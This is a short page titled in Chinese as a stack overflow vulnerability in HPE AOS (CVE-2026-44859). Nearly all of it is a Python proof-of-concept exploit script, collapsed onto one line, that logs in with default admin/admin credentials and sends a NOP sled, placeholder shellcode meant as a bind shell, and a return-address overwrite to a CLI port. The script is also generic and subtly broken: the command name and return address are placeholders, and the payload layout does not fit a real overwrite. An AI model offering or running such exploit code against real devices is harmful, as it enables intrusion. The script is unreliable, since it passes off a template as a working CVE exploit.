CVE-2026-44859 HPE AOS操作系统栈溢出漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-44859 # This script demonstrates the buffer overflow vulnerability by sending a large payload to the CLI. import socket import time def send_exploit(target_ip, port, username, password): try: print(f"[*] Connecting to {target_ip}:{port}...") # Establish a connection to the CLI (e.g., Telnet or custom management port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Simulate authentication (PR:H requirement) print(f"[*] Authenticating as {username}...") # In a real scenario, this would handle the specific auth protocol auth_payload = f"USER {username}\nPASS {password}\n" s.send(auth_payload.encode()) time.sleep(1) # Construct the malicious payload # The vulnerability is triggered by a crafted request to underlying management services # NOP sled + Shellcode + Overwrite Return Address nop_sled = b"\x90" * 100 # Placeholder for shellcode (e.g., bind shell) shellcode = b"\xcc\xcc\xcc\xcc" # Ret address needs to be specific to the OS version (JMP ESP) ret_addr = b"\xaf\x11\x40\x00" padding = b"A" * (500 - len(nop_sled) - len(shellcode) - len(ret_addr)) payload = nop_sled + shellcode + ret_addr + padding # Send the crafted request to the vulnerable service exploit_cmd = b"VULNERABLE_CMD " + payload + b"\n" print("[*] Sending malicious payload...") s.send(exploit_cmd) print("[+] Payload sent. Check for shell or crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.1" PORT = 23 # Example CLI port USER = "admin" PASS = "admin" send_exploit(TARGET_IP, PORT, USER, PASS)